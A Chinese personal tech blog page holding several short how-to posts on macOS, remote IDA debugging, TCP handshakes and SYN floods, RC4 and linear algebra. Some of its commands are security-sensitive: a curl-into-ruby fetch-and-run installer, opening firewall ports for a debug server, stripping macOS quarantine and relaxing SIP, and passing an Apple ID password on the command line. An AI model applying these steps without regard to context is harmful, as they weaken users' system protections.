前言 本人有几个外接的机械硬盘,在日常使用中有点烦我外接设备的自动休眠功能 而这个是写死了的(固件/控制器级别的休眠,我没法搞) 虽然这样可以延长硬盘的使用寿命,降低硬盘的功耗,更省电些.但我觉得这并不完全适合我的所有硬盘. 比如我其中一个500G硬盘用于给我这个512G的MAC做时间机器备份,而这个硬盘我是希望让它能自动休眠的. 但另外的其他硬盘,比如一个4T硬盘在我拷贝数据,或者浏览数据等情况时,却不想让它休眠. 原理 我们都知道当一段时间(我的这个设备是2min)未对该盘进行I/O后,硬盘就会自动进入休眠状态,停止电机。 但问题是,当下次你(或者操作系统)想要存取文件时,硬盘就要经过一段启动电机、硬盘开始加速、磁头寻道、读写文件这么一段流程,会产生长达几秒到十几秒不等的卡顿。尤其是我需要每次开启文件管理器或者是文件选取器时——只要读到了这个盘,就会产生一段时间的卡顿,这对于习惯了SSD的用户来说是十分难受的。 所以我们只需要让硬盘有定时 I/O 读写即可 实现 方案一(推荐,适用于硬盘有时插着,插着的时候能灵活控制休眠等情况) 代码演示以我MAC为主: 可能需要chmod 777 文件名 赋予权限运行 需要休眠时候运行此文件即可,无需休眠关闭即可,缺点是指定了哪个硬盘,且不能静默无窗口运行 注:100指的是间隔100s后重新执行touch命令. 本来可以更优雅点,写个 AppleScript 脚本导出为 app 来运行。但考虑到技术有限 懒就没弄了. 方案二(适用于硬盘一直插着且需后台定时运行脚本等情况) 简说,详细去搜索引擎找到答案,上面也有代码直接copy再去编辑 crontab 每隔几分钟执行脚本即可 方案三(适用于傻瓜式操作,但有概率无法实现) Win平台 参考链接 可选操作(不一定有效,此操作来自互联网):[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e] “Attributes”=dword:00000002 本来电源管理里边有一个设置是关于”Trun off hard disk after” 有的硬件平台上没有这个设置,我猜比如一堆Instant Go设备 加完这个注册表重启就出来。 Attributes这项1是隐藏,2是显示。 用注册表可以把这个设置显示出来,然后改成0,硬盘就不会自己关闭了。 Mac平台 大概率会遇到的问题

2022/1/5
articleCard.readMore

记一次IDA远程调试linux程序失败的解决过程——阿里云CentOS版

前言 之前在本地docker上虽然可以运行二进制程序,但无法动调(现在都还没解决del> 懒得去弄了,直接用钞能力 ) 就想买台阿里云服务器来实现,但但我动调的时候发现不行 此时已正常运行服务 我怀疑是云服务器端口没开,就想用 Telnet 来检测一下 测试端口23946是否可通 首先安装 Telnet Windows 平台 打开控制面板 首先我们打开控制面板,打开方式较多,这里举如图所示方式打开 依次操作: 之后点确定. 接着打开命令提示符(通过运行等方法也可以) Mac 平台 由于新版本的 Mac os 取消了内置的telnet命令,所以需要额外安装. 安装 homebrew (如果安装可以自行跳过) 1 /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 输入密码之后一直回车就可以了 查看homebrew 是否安装成功 在终端中键入 homebrew help 如果出现如图所示即为成功 使用 homebrew 安装telnet 1 brew install telnet (上面那行是我终端走代理,这样会快一点.) 查看是否安装成功 到这就安装完成了. telnet使用 键入telnet ip 23946,其中ip换成你的服务器ip 如果一直停在正在连接的界面,则证明端口未开.例如: 我的这个服务器端口就是关闭的. 接下来就是 阿里云端口放行 关闭CentOS自带的防火墙 如果你是CentOS还需要关闭CentOS自带的防火墙(阿里云的放行端口和CentOS自带的防火墙的放行端口不是一个概念) 如果你是使用的是ubuntu等,应该不需要这一步的。 1 2 ps -ef|grep firewall firewall-cmd --state 查看防火墙状态 1 firewall-cmd --list-all 查看防火墙放行端口 1 firewall-cmd --permanent --add-port=23946/tcp 放行23946端口 1 service firewalld reload 重启防火墙 1 firewall-cmd --list-all 再次查看防火墙放行端口 拓展 (截图内容取自网络.) 端口占用 可能是已经运行过一个linux_server或linux_server64程序,也可能是其他程序占用了默认端口23946 1 netstat -ntlp|grep 23946 查看正在使用端口23946的程序的信息 1 ps -ef|grep linux_server 查看包含字符串linux_server的程序的信息 这两条命令可以看出27811的进程跑着linux_server,占用了23946端口 1 kill -9 27811 杀掉进程 客户端弹窗报错 “incompatible debugging server:address size is 4 bytes,expected 4” 检查程序的位数和linux_server的位数和客户端的位数,需一致。 添加密码验证 启动linux_server时添加-P 1 ./linux_server64 -P123456 将123456替换成你设置的密码。 注意,-P和密码之间不能有空格,要紧挨着。如果有空格,则密码仍为空。 然后在客户端填写密码。 后台运行linux_server linux的一个终端就是一个进程,如果你关闭了这个终端,里面进行的服务也会中断。这里介绍一个命令。 screen -S name创建一个新窗口,名称为name(name可以替换成你希望的名称),然后在这个窗口内打开linux_server服务。 当你需要回到主窗口时,先按ctrl+a,然后继续按下d,按d的时候不要放松ctrl+a,即可回到主界面。 想要回到name窗口,可使用screen -r name,如果除了主窗口外只有一个窗口,可以使用screen -r 这样,只要你不杀掉新开的这个窗口,哪怕你关掉终端,也能远程调试。 但是需要注意的是,这样一直开着linux_server服务,存在安全隐患,所以不调试时建议不要开启linux_server服务。 更多screen使用方式,欢迎谷歌搜索。

2022/1/1
articleCard.readMore

浅记RC4加密算法的过程(不含代码编写)

基本原理 RC4属于对称密码算法中的流密码加密算法。 密钥长度可变,面向字节操作。 它以一个足够大的表S为基础,对表进行非线性变换,产生密钥流。 对称密码:加密与解密使用的是同一个密钥. 即明文和密钥异或生成密文,密文再和密钥异或可以还原明文. 流密码:逐个字节加密和它对应的就是块加密,也叫分组加密算法,例如DES加密算法 接下来我们来看看它是如何产生密钥流的呢? 它以一个足够大的表S为基础,对表进行非线性变换,产生密钥流。 加密过程 一、初始化S表 Step1:对S表进行线性填充,一般为256个字节; Step2:用种子密钥填充另一个256字节的K表; 如果长度不够,则循环填充. Step3:用K表对S表进行初始置换。 二、密钥流的生成 (为每个待加密的字节生成一个伪随机数,用来异或) 注:不同的密钥生成不同的S表,每一轮的表S都不同,表S一旦完成初始化,种子密钥就不再被使用。

2021/12/31
articleCard.readMore

浅谈Mac(ARM架构,macOS12)安装IPA并尝试运行

前言 在big sur 11.2的时候,苹果开放了sideload(侧载),允许用户直接安装IPA的文件来运行 但因为安装原因,在后续的版本中没了.这就很不舒服. 虽然当时可以通过关闭 SIP 成功安装后再开启,但发现即使安装成功,也会提示“you don’t have the permission to open this application”.在 stackoverflow 上也没找到任何有效的解决方案. 虽然我可以通过关闭SIP,将“安全策略”设置为“宽松安全性”通过第三方工具来安装已砸壳的IPA来运行 但是难受的是,从App Store里安装的IOS应用无法打开,需要打开SIP.这就很矛盾…. 解决方案 有越狱的iPhone(需Mac关闭Sip) 自行搜索如何砸壳获取ipa,将这个ipa移到Mac中的playcover软件中.即完成 无越狱的iPhone Mac打开Sip,但不限制文件系统权限 恢复模式终端中输入csrutil enable --without fs Mac已经关闭Sip—–出自v2ex用户iptables,此方案已无效 可以尝试去掉 Quarantine 属性: xattr -rd com.apple.quarantine ${APPDIR} 请将${APPDIR}替换成实际的程序目录。 如果提示权限不足,则试试 sudo 运行。 另外,在双击 ipa 安装之前,先 ls -l@ xxxx.ipa 看看有没有 com.apple.quarantine 属性,如果有的话,先去掉 ipa 的 com.apple.quarantine 属性再安装。 参考链接🔗: https://www.v2ex.com/t/753655 https://twitter.com/iangcarroll/status/1329559876549242880?s=20 Sideload apps not on App Store

2021/12/29
articleCard.readMore

浅谈TCP三次握手和四次挥手

前言 这个文章耗时巨久,查阅和学习资料,还鸽🐦了几天,不过在线代考试的前晚,也就是27日今晚搞出来了!!! 本来还想谈谈UDP协议,HTTPS协议,加密原理和证书,SSL/TLS握手过程哪些….. 不过想了想,没时间弄了,所以再一次🐦了,等啥时候有空或者想去弄的时候再写 (水) 博客吧~ OSI 根据 开放式系统互联模型(英语:Open System Interconnection Model,缩写:OSI;简称为OSI模型) 可知 传输控制协定(TCP)属于传输层(Transport Layer) 我们再来看看 TCP 的特性 TCP 提供一种面向连接的、可靠的字节流服务 在一个 TCP 连接中,仅有两方进行彼此通信。广播和多播不能用于 TCP TCP 使用校验和,确认和重传机制来保证可靠传输 TCP 给数据分节进行排序,并使用累积确认保证数据的顺序不变和非重复 TCP 使用滑动窗口机制来实现流量控制,通过动态改变窗口的大小进行拥塞控制 注意:TCP 并不能保证数据一定会被对方接收到,因为这是不可能的。TCP 能够做到的是,如果有可能,就把数据递送到接收方,否则就(通过放弃重传并且中断连接这一手段)通知用户。因此准确说 TCP 也不是 100% 可靠的协议,它所能提供的是数据的可靠递送或故障的可靠通知。 传输层(Transport Layer)有什么作用? 传输层的协议为应用进程提供端到端的通信服务。它提供面向连接的数据流支持、可靠性、流量控制、多路复用等服务。 什么是端到端(end-to-end)呢? 形象来说,要将数据从A传送到E,中间可能经过A→B→C→D→E,对于传输层来说它并不知道B,C,D的存在,它只认为我的报文数据是从a直接到e的,这就叫做端到端。 端到端是网络连接也是逻辑链路,这条路可能经过了很复杂的物理路线,但两端主机不管,只认为是有两端的连接,而且一旦通信完成,这个连接就释放了,物理线路可能又被别的应用用来建立连接了。TCP就是用来建立这种端到端连接的一个具体协议, 举个例子,平时我们的 客户端 到 服务端 就是端到端. 端与端之前虽然有IP地址可以进行连接,但是2端都有各自的应用进程(即传输层对应的传输用户),而且都可能进行TCP连接. 端口号 我们知道服务端可能可以同时提供很多个服务,如数据库服务、FTP服务、Web服务等,那么除了IP地址外还需要什么参数才能保证应用进程能访问到该服务器需要的服务并且内容不会错发给应用进程呢? 那就是端口号了,TCP端口号是为了标志特定的应用实体(应用进程) 通常,传输层会对应多个应用进程,即一个主机上有多个进程并行运行,如在多任务或多用户多任务系统中。而TCP提供的“端口号”就是来区分这些进程的。如TCP中HTTPS协议那么端口号就是443,HTTP的端口号为80,FTP的端口号为21. 套接字有4个纬度 ip+port : ip+port (拓展:port可分配的有65535个) 举个例子, 比如我电脑上有A,B两个进程,都需要向一个服务器进行连接,假设进行的是HTTPS协议传输.那么我的电脑会为 A,B这2个进程分配不同的端口号,通过 套接字socket(IP地址:端口号) 与服务器进行通信.此时服务器的套接字socket为服务器的IP:443(因为是HTTPS协议) 套接字socket是握手前的核心条件之一 接下来我们开始聊聊 三次握手(Three-way Handshake) 三次握手是指建立一个 TCP 连接时,需要客户端和服务器总共发送3个包。 三次握手的目的是连接服务器指定端口,建立 TCP 连接,并同步连接双方的序列号和确认号,交换 TCP 窗口大小信息。在 socket 编程中,客户端执行 connect() 时。将触发三次握手。 第一次握手(SYN=1, seq=x): 客户端发送一个 TCP 的 SYN 标志位置1(设置1为开启标识)的包(意思是想要与服务端进行数据同步),指明客户端打算连接的服务器的端口,以及初始序号 X,保存在包头的序列号(Sequence Number)字段里。 发送完毕后,客户端进入 SYN_SEND 状态。 为什么需要添加这个序列号(Sequence Number)呢? 为什么要添加这个序号呢?因为应用程序可能需要连续发送多个序号给服务器,这样服务器就有依据可以判断哪些是累赘信息,而且序列号(Sequence Number)是随机生成的,作为初始值来进行后续判断依据,这样更加保证了通道的唯一性 第二次握手(SYN=1, ACK=1, seq=y, ACKnum=x+1): 服务器发回确认包(ACK)应答。即 SYN 标志位和 ACK 标志位均为1。服务器端选择自己 ISN 序列号,放到 Seq 域里,同时将确认序号(Acknowledgement Number)设置为客户的 ISN 加1,即X+1。 发送完毕后,服务器端进入 SYN_RCVD 状态。 第三次握手(ACK=1,ACKnum=y+1) 客户端再次发送确认包(ACK),SYN 标志位为0,ACK 标志位为1,并且把服务器发来 ACK 的序号字段+1,放在确定字段中发送给对方,并且在数据段放写ISN的+1 发送完毕后,客户端进入 ESTABLISHED 状态,当服务器端接收到这个包时,也进入 ESTABLISHED 状态,TCP 握手结束。 三次握手的过程的示意图如下: 有人会问为什么需要握手?为了在不可靠的网络信道建立起一种可靠连接,必须要有握手确认机制. 为什么是三次? 为了防止失效的连接请求报文段突然又传送到主机B,因而产生错误。所以在此基础上的双向确认最少需要3次 在谢希仁版《计算机网络》中有这样的例子: “已失效的连接请求报文段”的产生在这样一种情况下: client发出的第一个连接请求报文段并没有丢失,而是在某个网络结点长时间的滞留了,以致延误到连接释放以后的某个时间才到达server。 本来这是一个早已失效的报文段,但server收到此失效的连接请求报文段后,就误认为是client再次发出的一个新的连接请求。 于是就向client发出确认报文段,同意建立连接。 假设不采用“三次握手”,那么只要server发出确认,新的连接就建立了。 由于现在client并没有发出建立连接的请求,因此不会理睬server的确认,也不会向server发送数据,但server却以为新的运输连接已经建立,并一直等待client发来数据。 这样,server的很多资源就白白浪费掉了。 采用“三次握手”的办法可以防止上述现象发生。 例如刚才那种情况,client不会向server的确认发出确认,server由于收不到确认,就知道client并没有要求建立连接。” 数据传输状态 经过三次握手后,客户端和服务端都进入了数据传输状态 在数据传输中,一包数据有可能会被拆成多包发送,如何处理丢包问题? 由于数据包到达的先后顺序可能不同,如何处理乱序问题? 针对这些问题,TCP协议在内核管理的内存中,为每个连接建立缓冲区. 注:在Linux网络收发过程中包含多个队列和缓冲区,这里不展开讲.只是列举一下. 网卡收发网络包时,通过 DMA 方式交互的环形缓冲区; 网卡中断处理程序为网络帧分配的,内核数据结构 sk_buff 缓冲区; 应用程序通过套接字接口,与网络协议栈交互时的套接字缓冲区。 从建立链接后的第一个字节的序列号为0,后面每个字节的序列号就会增加1 发送数据时,从发送数据缓冲区取一部分数据组成发送报文,在其TCP协议头中会附带序列号和长度 接收端在收到数据后,需要回复确认报文,确认报文中的ACK等于接收序列号加长度 也就是下一包数据需要发送起始序列号 这样一问一答的发送方式,能够使发送端确认发送的数据,已经被对方收到,发送端也可以一次发送连续多包的数据. 接收端只需回复一次ACK就可以了,这样发送端可以把待发送的数据分割成一系列的碎片发送到对端 对端根据序列号和长度,在接收后重构出来完整的数据 假设其中丢失了某些数据包,在接收端可以要求发送端重传,比如丢失了100-199,这100个字节 接收端向发送端发送ACK=100的报文,发送端收到后重传这一包数据,接受端进行补齐 由于TCP是全双工协议,通信双方可以同时通信.所以以上过程不区分客户端和服务端,均可采用上述机制. 这里来张图,帮助理解: 四次挥手(Four-way handshake) TCP 的连接的拆除需要发送四个包,因此称为四次挥手(Four-way handshake),也叫做改进的三次握手。处于连接状态的客户端和服务端在TCP全双工的加持下,客户端或服务器均可主动发起挥手动作,在 socket 编程中,任何一方执行 close() 操作即可产生挥手操作。 第一次挥手(FIN=1,seq=x) 假设客户端想要关闭连接,客户端发送一个 FIN 标志位置为1的包,表示自己已经没有数据可以发送了,但是仍然可以接受数据。 发送完毕后,客户端进入 FIN_WAIT_1 状态。 第二次挥手(ACK=1,ACKnum=x+1) 服务端此时还可以发送未发送的数据 ,而客户端还可以接受数据,待服务端发送完数据之后,服务器端确认客户端的 FIN 包,发送一个确认包,表明自己接受到了客户端关闭连接的请求,但还没有准备好关闭连接。 发送完毕后,服务器端进入 CLOSE_WAIT 状态,客户端接收到这个确认包之后,进入 FIN_WAIT_2 状态,等待服务器端关闭连接。 第三次挥手(FIN=1,seq=y) 服务器端准备好关闭连接时,向客户端发送结束连接请求,FIN 置为1。 发送完毕后,服务器端进入 LAST_ACK 状态,等待来自客户端的最后一个ACK。 第四次挥手(ACK=1,ACKnum=y+1) 客户端接收到来自服务器端的关闭请求,发送一个确认包,并进入 TIME_WAIT状态,等待可能出现的要求重传的 ACK 包。 服务器端接收到这个确认包之后,关闭连接,进入 CLOSED 状态。 客户端等待了某个固定时间(两个最大段生命周期,2MSL,2 Maximum Segment Lifetime)之后,没有收到服务器端的 ACK ,认为服务器端已经正常关闭连接,于是自己也关闭连接,进入 CLOSED 状态。 四次挥手的示意图如下: 过程大致如图所示 为什么客户端需要等待超时时间呢? 这是为了保证对方已收到ACK包,因为假设客户端发送完最后一包ACK包后就释放了连接 一旦ACK包在网络中丢失,服务端将一直停留在最后确认状态 如果客户端在发送完最后一包ACK包后等待一段时间,这时服务端因为没有收到ACK包,会重发FIN包 客户端会响应这个FIN包,重发ACK包并刷新超时时间 这个机制和三次握手一样,也是为了保证在不可靠的网络链路中进行可靠的连接断开确认 拓展: TCP数据段中有6个控制位,他们的作用如下: 控制位作用 ACK置1时表示确认号合法,为0的时候表示数据段不包含确认信息,确认号被忽略。 PSH置1时请求的数据段在接收方得到后就可直接送到应用程序,而不必等到缓冲区满时才传送 RST置1时重建连接。如果接收到RST位时候,通常发生了某些错误 SYN置1时用来发起一个连接 FIN置1时表示发端完成发送任务。用来释放连接,表明发送方已经没有数据发送了 URG紧急指针,告诉接收TCP模块紧要指针域指着紧要数据 其中: ACK为确认标志位。如果ACK为1,表示数据包中的确认号有效。 RST标志位用来复位一条连接。当RST=1时,表示出现严重错误,必须释放连接,然后再重新建立。 SYN标志位用来建立连接,如果SYN=1而ACK=0,表明它是一个连接请求;如果SYN=1且ACK=1,则表示同意建立一个连接。 注: TCP报文里有SYN,ACK和FIN等标识 SYN (全称:Synchronization),中文译为 同步,ACK (全称Acknowledgment),中文译为 确认 TCP有6个控制位,各个步骤的控制位是唯一性的,可以根据控制位来区分进行到那个步骤. 无论是SYN包还是其他包,发送都是通过内核的传输控制层完成的,都是双方的内核在通信. SYN攻击 什么是 SYN 攻击(SYN Flood)? 在三次握手过程中,服务器发送 SYN-ACK 之后,收到客户端的 ACK 之前的 TCP 连接称为半连接(half-open connect)。此时服务器处于 SYN_RCVD 状态。当收到 ACK 后,服务器才能转入 ESTABLISHED 状态. SYN 攻击指的是,攻击客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送SYN包,服务器回复确认包,并等待客户的确认。由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,导致目标系统运行缓慢,严重者会引起网络堵塞甚至系统瘫痪。 SYN 攻击是一种典型的 DoS/DDoS 攻击。 如何检测 SYN 攻击? 检测 SYN 攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击。在 Linux/Unix 上可以使用系统自带的 netstats 命令来检测 SYN 攻击。 如何防御 SYN 攻击? SYN攻击不能完全被阻止,除非将TCP协议重新设计。我们所做的是尽可能的减轻SYN攻击的危害,常见的防御 SYN 攻击的方法有如下几种: 缩短超时(SYN Timeout)时间 增加最大半连接数 过滤网关防护 SYN cookies技术 TCP KeepAlive TCP 的连接,实际上是一种纯软件层面的概念,在物理层面并没有“连接”这种概念。TCP 通信双方建立交互的连接,但是并不是一直存在数据交互,有些连接会在数据交互完毕后,主动释放连接,而有些不会。在长时间无数据交互的时间段内,交互双方都有可能出现掉电、死机、异常重启等各种意外,当这些意外发生之后,这些 TCP 连接并未来得及正常释放,在软件层面上,连接的另一方并不知道对端的情况,它会一直维护这个连接,长时间的积累会导致非常多的半打开连接,造成端系统资源的消耗和浪费,为了解决这个问题,在传输层可以利用 TCP 的 KeepAlive 机制实现来实现。主流的操作系统基本都在内核里支持了这个特性。 TCP KeepAlive 的基本原理是,隔一段时间给连接对端发送一个探测包,如果收到对方回应的 ACK,则认为连接还是存活的,在超过一定重试次数之后还是没有收到对方的回应,则丢弃该 TCP 连接。 TCP-Keepalive-HOWTO 有对 TCP KeepAlive 特性的详细介绍,有兴趣的同学可以参考。这里主要说一下,TCP KeepAlive 的局限。首先 TCP KeepAlive 监测的方式是发送一个 probe 包,会给网络带来额外的流量,另外 TCP KeepAlive 只能在内核层级监测连接的存活与否,而连接的存活不一定代表服务的可用。例如当一个服务器 CPU 进程服务器占用达到 100%,已经卡死不能响应请求了,此时 TCP KeepAlive 依然会认为连接是存活的。因此 TCP KeepAlive 对于应用层程序的价值是相对较小的。需要做连接保活的应用层程序,例如 QQ,往往会在应用层实现自己的心跳功能。 参考资料 计算机网络:自顶向下方法 TCP三次握手及四次挥手详细图解 TCP协议三次握手过程分析 TCP协议中的三次握手和四次挥手(图解) TCP-Keepalive-HOWTO B站许多视频,这里举一个🔗 简单演示一下用内核程序(非应用层)创建socket通信:

2021/12/24
articleCard.readMore

解决Mac用户的Hexo博客使用git上传造成的DS_Store信息泄露

前言 众所周知,mac会自动在目录下生成 .DS_Store 的隐藏文件. 什么.DS_Store呢? 这里来一段维基百科的解释. .DS_Store (英文全称 Desktop Services Store)[1] 是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。[2]该文件由Finder创建并维护,类似于Microsoft Windows中的desktop.ini文件。 然而这个文件却有着信息泄露的危害 这个隐藏文件会泄露该文件所在目录下所有文件以及目录(即便这些文件是隐藏的或者无权限访问的). 解决方法 方法一 采用全局忽略的方式 创建全局忽略文件 1 2 3 cd ~ touch .gitignore_global git config --global core.excludesfile ~/.gitignore_global 修改文件内容 进入访达,点击前往菜单,选择个人,打开刚刚创建好的gitignore_global文件。如果你没有打开查看隐藏文件的权限,可以同时按下cmd+shift+.来开关查看隐藏文件。 添加规则 在gitignore_global文件中添加 删除已有文件 由于.gitignore只对还没追踪的文件(后面新加入的文件)生效,而之前已经存在的git项目,后面再添加.gitignore是不会生效的,需要 1 git rm -r --cached . 即删除之前上传的.DS_Store文件 但是如果当前命令行窗口不在版本库(又名为仓库,英文名为repository)或未初始化git本地版本管理仓库时 使用该命令会报错,建议先自行解决. tips: 如果出现这个问题 点击这个解决办法 方法二 删除已有的.DS_Store文件 通过进入博客对应的目录,查看隐藏文件即可 全局禁用Mac生成.DS_Store文件 打开“终端”,复制粘贴下面的命令,回车执行,重启Mac即可生效。 禁止.DS_store生成: 1 defaults write com.apple.desktopservices DSDontWriteNetworkStores -bool TRUE 如果后需需要 恢复.DS_store生成: 1 defaults delete com.apple.desktopservices DSDontWriteNetworkStores 删除已有文件 重复方法一的操作.

2021/12/24
articleCard.readMore

如何下载IPA?

前言 开发过程中偶尔会需要获取某个App对应的ipa文件的需求 方法一 下载 ipatool 工具 1 https://github.com/majd/ipatool/releases/tag/v1.0.6 使用工具 假设ipatool下载放在了Downloads文件夹 参数说明 1 2 3 4 -b bundleId -e appleID对应的邮箱 -p appleID对应的密码 -c 去哪个市场下载? CN对应国内App Store,US对应美区App Store 例如下载 TestFlight 1 /Users/YourUsername/Downloads/ipatool download -b com.apple.TestFlight -e appleID对应的邮箱 -p appleID对应的密码 -c CN 下载的ipa文件在Users/YourUsername文件夹下 关于Unable to login with 2FA #30 解决办法: 使用一次工具,然后记录授权代码并将其合并到没有空格的密码(PasswordAuth)。 原文: 1 2 3 4 5 6 7 8 9 10 11 12 13 ok so after digging up trying to find the issue, looks like the 2FA problem is easy to fix by using the tool once then noting the auth code and merging it to your password without spaces (PasswordAuth). That way there's no 2FA request sent to your devices which means the 2FA problem is gone but needs to be implemented manually by the user for now at least. [Reference](https://support.apple.com/en-us/HT204915#passwords-older-software) This is the error: `MZFinance.BadLogin.Configurator_message` The error is weird but we're not the only ones.. The error is connected to the 2FA somehow even though it's not asking for 2FA anymore.. Also, I noticed that to send the request to apple you need to add guid, which is the MAC address of en0. That shouldn't be a problem but I don't know about hackintosh users. That's what I can do today I'm so tired of blowing my mind because I never used swift but willing to... 注:APP的bundle identifier可以通过七麦数据查到 关于这个下载工具的原理可以看这篇文章,写得不错: 下载工具原理解析 方法二 下载 IpaDownloadTool 工具 Release版本 点击此处直接下载IpaDownloadTool安装包 功能 此工具用来快捷下载/储存第三方来源的ipa 支持蒲公英、fir下载页面拦截ipa地址、ipa下载 支持其他网站自定义h5页面拦截ipa地址、ipa下载 支持网址&二维码扫描方式录入网址 支持下载历史记录列表,可以本地储存任意数量的ipa,无需担心下载页面失效导致ipa丢失 支持ipa本地下载,分享给朋友或隔空投送发送至电脑 等(详细去看开发者的Github) 安装 Mac用户 可以采用PlayCover,Sideloadly等软件安装(个人推荐PlayCover,无需7天重新自签,可能需要关闭sip,开启宽容模式等,这里不详说,网上可以自己去了解) 打开后如图:即为安装完成. ios用户 越狱 这个我不多说,安装IPA的文件属基本功了. 未越狱 (以下暂不谈关于自签,证书等问题) 1、使用iTunes安装 数据线连接手机之后,会自动连接iTunes,(第一次连接的时候会提示是否信任此电脑,记得点是)。在iTunes里面能看到手机连接上后,选中连上的手机,然后将将ipa包拖到iTunes空白区域,这时会在手机桌面看到安装进度,等待安装完成就行。 (照片来自网络) 2、使用XCode安装 () 打开Xcode,在导航栏上选择window->Devices and Simulators,点击弹出页面里面的+号,选择ipa所在的文件夹,选中ipa包,点击右下角Open按钮,即可安装成功。 (照片来自网络) 3、使用iTools,爱思等软件安装 打开iTools,选择应用,点击左下角的安装,选中需要安装的ipa,点击打开,即可安装成功。也可以直接将ipa拖进去。 4、使用蒲公英等内测分发网站安装 注册好蒲公英账号,认证完成后,就可以把ipa包传到蒲公英上了。等上传完成后,把链接地址和安装密码发给别人,打开这个链接,输入安装密码就可以安装成功了。(iPhone是要求在苹果自带的Safari浏览器打开才行)。 其他 通过隔空投送尝试安装无果可存储起来,用Shu,itms-services协议等完成安装. 更多方法请自行探索,欢迎与我交流~ 遇到无法安装的情况: 原因一: 手机没有注册UDID。 说明: 要先确定手机是否注册了UDID,注册了UDID之后重新打的包才能安装测试包。 解决: 获取手机UDID,把UDID发给开发者,让他邦你注册。注册成功后重新打出来的包,才能安装。 原因二: 开发给的包是正式包。 说明: 正式包只能用来上架App Store,不可以直接在手机上安装。测试包可以在手机上安装(前提是手机注册了UDID)。 正式包: 导出包是选择的是App Store。 测试包: 导出包时选择的是Ad Hoc 或 Development。(确定已添加UDID,但还装不了,这个要找打包的人确认清楚) 解决: 让开发重新打一个测试包即可。 错误提示: 不管上面那种原因,安装是出现的错误提示都是一样的,并没有给出具体错误原因。这时候如果你拿着一个正式包当作测试包一直在装就很蛋疼。 例图: 操作 过于简单,这里略,详细可以去看软件介绍.

2021/12/23
articleCard.readMore

大学线性代数速成笔记

前言: 限于本人知识水平,有些地方可能不太严谨内容不够完整,请多多指教. 因为是速成类,内容较为精简且公式来源无证明过程,建议每道题熟做并掌握.出于篇幅原因内容可能没有涵盖到考试的全部内容,请见谅.另外本文内容较水,后续完善. 由于本人技术有限(bushi),大多数地方可以用LaTeX替换的地方,但不是很影响阅读. 其实是懒 资源下载: 线性代数习题全解_同济第六版.pdf.7z.001 线性代数习题全解_同济第六版.pdf.7z.002 线性代数习题全解_同济第六版.pdf.7z.003 警告⚠️:本文缺少部分重要知识点,本来可以从我线性代数书中得以补充本文内容,但由于本人 懒, 暂时没时间没精力 不想 更新,故本文内容不能涵盖核心. 行列式 逆序数 先算每个数字的逆序然后相加 在一个排列中,如果一对数的前后位置与大小顺序相反,即前面的数大于后面的数,那么它们就称为一个逆序。 一个排列中所有逆序的总数叫做这个排列的逆序数。 通俗地说(可能不准确)逆序:每个数字前面几个有比它大的数字,即为它的逆序 例题: 题 1:排列 5 2 6 1 4 5 的逆序数为___,是 ___(奇/偶)排列。 解:逆序 0 1 0 3 2 1 逆序数 0 +1+ 0 + 3 + 2 +1 = 7 ,为奇排列 题 2:在四阶行列式中,项a11a23a44 a32 的符号应取___。 解:行排列 1 2 4 3 逆序数t1 = 0 + 0 + 0 +1 = 1 ​ 列排列 1 3 4 2 逆序数t2 = 0 + 0 + 0 + 2 = 2 t = 1+ 2 = 3 ,符号为负。 行列式性质及计算 例题: 解: (1− k )(k −1) −(−2)× 2 = 0 得k = −1 或3 对于题4: 同列元素之和相同 ①将所有行加到第一行 ②提取公因子 ③用第一行去消其他行 题 5: 需要我们对列进行处理 行列式展开 定理:某行(列)元素与另一行(列)的代数余子式之积相加等于0 由于这两行对应成比例,所以行列式等于0 范德蒙行列式 如果是三阶的同理,$(c-b)(c-a)(b-a)$ 矩阵 矩阵的运算 常见矩阵 方阵的行列式计算 初等行变换 初等行变换 求逆矩阵 矩阵的秩 向量组 向量组 线性相关与线性无关 例题:若a,b正交,则a,b的线性关系为 线性无关. 解方程组 齐次线性方程组 形如:$AX=0$ 非齐次线性方程组 形如:$AX=\beta$ 特征值、特征向量、对角化 求特征值,特征向量 相似对角化 正交相似对角化 特征值的性质 二次型 二次型及其矩阵表示 解析: 它们的系数分别为 1 1 1 4 6 4.对于二次的,我们依次按照对角线顺序写,对于一次的,我们先分别除以2再放到相应的位置. 例如:4÷2=2 这个2就应该放在第1行第2列和第2行第1列的位置. 求正交变换、化标准形 顺序主子式 加餐训练 线代实践项目2021-2022案例答案.pdf.zip - 蓝奏云 来自CUIT的题,质量也还行.

2021/12/22
articleCard.readMore

记一次关于macOS更新遇到的问题解决办法

Mac 死活无法更新(卡在一直检测更新等情况) 本人在Apple Developer Program注册了开发者也安装了相关描述文件,也试过公测版 但依旧卡在检测更新界面,关了再打开显示已是最新 尝试全局翻墙,取消所有网络拦截等操作皆无效 最后解决方法是用一下命令强制更新: sudo softwareupdate -l --all --force --reset-ignored Monterey 12 Beta 更新卡住 解决完一个mac更新问题又来一个 关于这个死活不动卡住的问题 解决方案: 只要出现这个进程就杀掉 盯着资源监视器,按现在更新,开始下载后出来 com.apple.NRD.updatebrainservice 这个进程马上杀掉,只留另外一个 updatebrainservice 进程,后续卡住也这样操作就可以解决了!

2021/12/20
articleCard.readMore

Ubuntu终端中文乱码和无法输入中文解决方案

